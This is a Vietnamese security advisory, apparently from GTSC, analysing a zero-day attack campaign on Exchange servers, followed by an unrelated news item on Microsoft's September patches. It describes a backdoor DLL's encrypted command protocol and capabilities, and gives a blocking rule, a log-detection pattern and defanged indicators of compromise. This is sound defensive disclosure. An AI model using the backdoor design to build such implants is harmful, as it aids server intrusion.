Trong số các file nghi ngờ trên, dựa vào các câu lệnh được thực hiện trên máy chủ, chúng tôi nhận định các file all.exe, dump.dll có nhiệm vụ trích xuất thông tin tài khoản trên hệ thống máy chủ. Sau các hành vi trích xuất thông tin tài khoản trên hệ thống, attacker sử dụng rar.exe để nén các file dump và copy ra webroot của máy chủ Exchange. Trong quá trình xử lý sự cố, các file trên đã không còn tồn tại trên hệ thống.

File cm.exe được drop xuống thư mục C:\PerfLogs\ là file cmd.exe

Malware Analysis

Thông tin DLL

File name: Dll.dll

Sha256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

Phân tích DLL

GTSC phân tích một mẫu cụ thể (074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82) để mô tả hành vi của mã độc, các mẫu DLL khác có nhiệm vụ và hành vi giống nhau, chỉ khác nhau về cấu hình listener

DLL gồm 2 hai class: Run và m. Bên trong mỗi class gọi tới các method thực hiện các nhiệm vụ khác nhau. Cụ thể:

Class Run thực hiện tạo listener lắng nghe các kết nối tới port 443, đường dẫn https://*:443/ews/web/webconfig/.

Sau quá trình lắng nghe, mã độc tạo thread mới goi tới r. Method r thực hiện:

–              Kiểm tra request nhận được có data trong body hay không. Nếu không có data đi kèm trong request gửi lên máy chủ, kết quả trả về là 404.

–              Ngược lại, nếu trong request có đi kèm data, DLL tiếp tục xử lý luồng bên trong nhánh IF:

Kiểm tra request nhận được có tồn tại “RPDbgEsJF9o8S=” hay không. Nếu có, gọi tới method i nằm trong class m để xử lý request nhận được. Kết quả trả về từ Run.m.i sẽ được covert sang chuỗi base64. Kết quả trả về cho client theo format

{

                “result”:1,

                “message”:”base64(aes(result))”

}

Class m

Method thực hiện:

–         Giải mã request nhận được bằng thuật toán AES với 16 bytes đầu tiên của request là giá trị IV, 16 bytes tiếp theo là giá trị key, các giá trị sau đó là data

–         Sau khi giải mã, lấy phần tử đầu tiên trong mảng làm flag để xử lý các case đã được định nghĩa

 Case 0: Gọi tới method info. Method này có nhiệm vụ thu thập thông tin hệ thống. Các thông tin bao như kiến trúc hệ điều hành, phiên bản framework, phiên bản hệ điều hành, v.v….GTSC mô phỏng lại case 0 bằng hình ảnh bên dưới. Request gửi lên theo format 16 bytes đầu là giá trị IV, 16 bytes tiếp theo là giá trị key, theo sau là flag để chỉ định option và phần còn lại là data.

base64 (IV | key | aes(flag|data))

Case 1: Gọi tới method sc. Method này có nhiệm vụ cấp phát vùng nhớ để thực thi shellcode

 Case 2: Gọi tới 2 method p và r. Method p xử lý các dữ liệu được ngăn cách bởi ký tự “|” lưu vào mảng array3. Mảng array3 sẽ lấy 2 phần tử đầu tiên làm tham số cho method r, method r có nhiệm vụ thực thi command

 Case 3: Gọi tới method ld. Method này có nhiệm vụ liệt kê thông tin thư mục và file theo format

D|-|<Ngày tạo> |<Ngày chỉnh sửa> |<tên thư mục hoặc tên file>

o   Case 4: Gọi tới method wf. Method này có nhiệm vụ ghi file

o   Case 5: Gọi tới method rf. Method này có nhiệm vụ đọc file

 Case 6: Tạo thư mục

o   Case 7: Xóa file hoặc thư mục

o   Case 8: Di chuyển File

o   Case 9: Set time cho file 

o   Case 10: Nạp và thực thi C# bytecode nhận từ request.

Các mẫu DLL khác có nhiệm vụ tương tự, chỉ khác nhau về cấu hình listener như sau:

                Victim 1:

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

                Victim 2:

                                     http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

Chúng tôi cũng phát hiện DLL được inject vào memory của tiến trình svchost.exe. DLL thực hiện kết nối gửi nhận dữ liệu tới địa chỉ 137[.]184[.]67[.]33 được config trong binary. Việc gửi nhận dữ liệu với C2 sử dụng thuật toán RC4, khóa sẽ được tạo trong thời gian chạy (runtime).

Các biện pháp ngăn chặn tạm thời

Quá trình xử lý sự cố trực tiếp của GTSC ghi nhận có trên 1 đơn vị tổ chức bị là nạn nhân của chiến dịch tấn công khai thác lỗ hổng zero day. Ngoài ra chúng tôi cũng lo ngại rằng có thể có nhiều tổ chức khác cũng đã bị khai thác nhưng chưa được phát hiện. Trong thời gian chờ đợi bản vá chính thức từ hãng, GTSC cung cấp biện pháp khắc phục tạm thời nhằm giảm thiểu việc tấn công khai thác lổ hổng bằng cách bổ sung rule chặn các request có dấu hiệu tấn công thông qua module URL Rewrite rule trên máy chủ IIS (Webserver)

– Trong Autodiscover tại FrontEnd chọn tab URL Rewrite chọn Request Blocking

– Add thêm chuỗi “.*autodiscover\.json.*\@.*Powershell.*“ vào Pattern (URL Path):   

– Condition input: lựa chọn {REQUEST_URI}

Phát hiện tấn công

Nhằm kiểm tra hệ thống đã bị tấn công bởi lổ hỗng này, các đơn vị/tổ chức có thể thực hiện theo các cách thức sau:

Cách 1: Sử dụng powershell với câu lệnh sau: (Sử dụng powershell để thực hiện search trên toàn bộ folder log IIS mất khá nhiều thời gian)

Get-ChildItem -Recurse -Path <Path_IIS_Logs> -Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover\.json.*\@.*200

Cấu hình mặc định IIS log nằm tại đường dẫn “%SystemDrive%\inetpub\logs\LogFiles”

Cách 2: Sử dụng công cụ do GTSC phát triển dựa trên dấu hiệu khai thác lỗ hổng, thời gian thực hiện search nhanh hơn so với việc sử dụng powershell. Đường dẫn tải về công cụ: https://github.com/ncsgroupvn/NCSE0Scanner

Cách 3: Sử dụng công cụ của MS luôn nhé Exchange On-premises Mitigation Tool v2 (EOMTv2) link download tại đây

Indicators of Compromise (IOCs)

Webshell:

File Name: pxh4HG1v.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\pxh4HG1v.ashx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: RedirSuiteServiceProxy.aspx

                Hash (SHA256): b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca

                Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\RedirSuiteServiceProxy.aspx

File Name: Xml.ashx

                Hash (SHA256): c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1

                Path: C:\inetpub\wwwroot\aspnet_client\Xml.ashx

Filename: errorEE.aspx

SHA256: be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

Path: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorEE.aspx

DLL

File name: Dll.dll

SHA256:

074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0

29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

File name: 180000000.dll (Dump từ tiến trình Svchost.exe)

SHA256: 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e

IP

125[.]212[.]220[.]48

5[.]180[.]61[.]17

47[.]242[.]39[.]92

61[.]244[.]94[.]85

86[.]48[.]6[.]69

86[.]48[.]12[.]64

94[.]140[.]8[.]48

94[.]140[.]8[.]113

103[.]9[.]76[.]208

103[.]9[.]76[.]211

104[.]244[.]79[.]6

112[.]118[.]48[.]186

122[.]155[.]174[.]188

125[.]212[.]241[.]134

185[.]220[.]101[.]182

194[.]150[.]167[.]88

212[.]119[.]34[.]11

URL:

hxxp://206[.]188[.]196[.]77:8080/themes.aspx

C2:

137[.]184[.]67[.]33

Mitre ATT&CK Mapping

TaticIDName
Resource DevelopmentT1586.002Compromise Accounts: Email Accounts
ExecutionT1059.003Command and Scripting Interpreter: Windows Command Shell
ExecutionT1047Windows Management Instrumentation
PersistenceT1505.003Server Software Component: Web Shell
Defense EvasionT1070.004Indicator Removal on Host: File Deletion
Defense EvasionT1036.005Masquerading: Match Legitimate Name or Location
Defense EvasionT1620Reflective Code Loading
Credential AccessT1003.001OS Credential Dumping: LSASS Memory
DiscoveryT1087Account Discovery
DiscoveryT1083File and Directory Discovery
DiscoveryT1057Process Discovery
DiscoveryT1049System Network Connections Discovery
Lateral MovementT1570Lateral Tool Transfer
CollectionT1560.001Archive Collected Data: Archive via Utility

28/09/2022 

GTSC SECURITY TEAM

Link: https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html

Microsoft vá 63 lỗ hổng bảo mật Windows

Trong bản cập nhật Patch Tuesday tháng 9, Microsoft phát hành bản vá cho tổng cộng 63 lỗ hổng trên Windows.

Theo Microsoft, 5 trong số 63 lỗ hổng được xếp loại “nghiêm trọng” do kẻ xấu có thể lợi dụng để thực thi mã từ xa. Đây là một trong những loại lỗ hổng nguy hiểm nhất. Patch Tuesday tháng 9 vá 2 lỗ hổng zero-day đã được công bố, trong đó có 1 lỗ hổng đang được khai thác trong thực tế.

Microsoft phân loại một lỗ hổng là zero-day nếu nó đã được công bố hoặc được khai thác mà chưa có bản vá. Lỗ hổng zero-day được vá hôm nay là “CVE-2022-37969”. Nếu khai thác thành công, thủ phạm có thể chiếm được các đặc quyền hệ thống. Nó được các nhà nghiên cứu tại DBAPPSecurity, Mandiant, CrowdStrike và Zscaler phát hiện. Theo Dhanesh Kizhakkinan – Kỹ sư lỗ hổng cấp cao của Mandiant, dường như lỗ hổng nằm riêng lẻ và không thuộc một chuỗi.

“CVE-2022-37969” ảnh hưởng đến các phiên bản Windows từ 7 đến 11, cũng như Windows Servers 2008 và 2012. Chuyên gia bảo mật Mike Walters của Action1 cho biết, do lỗ hổng có độ phức tạp thấp và không cần tương tác của người dùng, nó có thể sớm bị giới hacker khai thác.

Theo Microsoft, lỗ hổng yêu cầu kẻ tấn công phải xâm nhập được vào thiết bị bị xâm phạm hoặc có khả năng khởi chạy mã trên hệ thống mục tiêu. Dustin Childs, Giám đốc tình báo nguy cơ tại Zero Day Initiative, chia sẻ thêm, các loại lỗ hổng này thường được sử dụng trong các hình thức tấn công social engineering như thuyết phục ai đó mở một tập tin hay bấm vào liên kết. Sau khi nạn nhân làm theo, mã bổ sung sẽ dùng đặc quyền leo thang để chiếm đoạt hệ thống.

Người dùng được khuyến nghị nên cập nhật bảo mật ngay khi có thể. Windows 7 cũng được nhận bản vá bảo mật dù đã bị hết hạn hỗ trợ vào năm 2020.

Nguồn  (Theo Bleeping Computer, Forbes)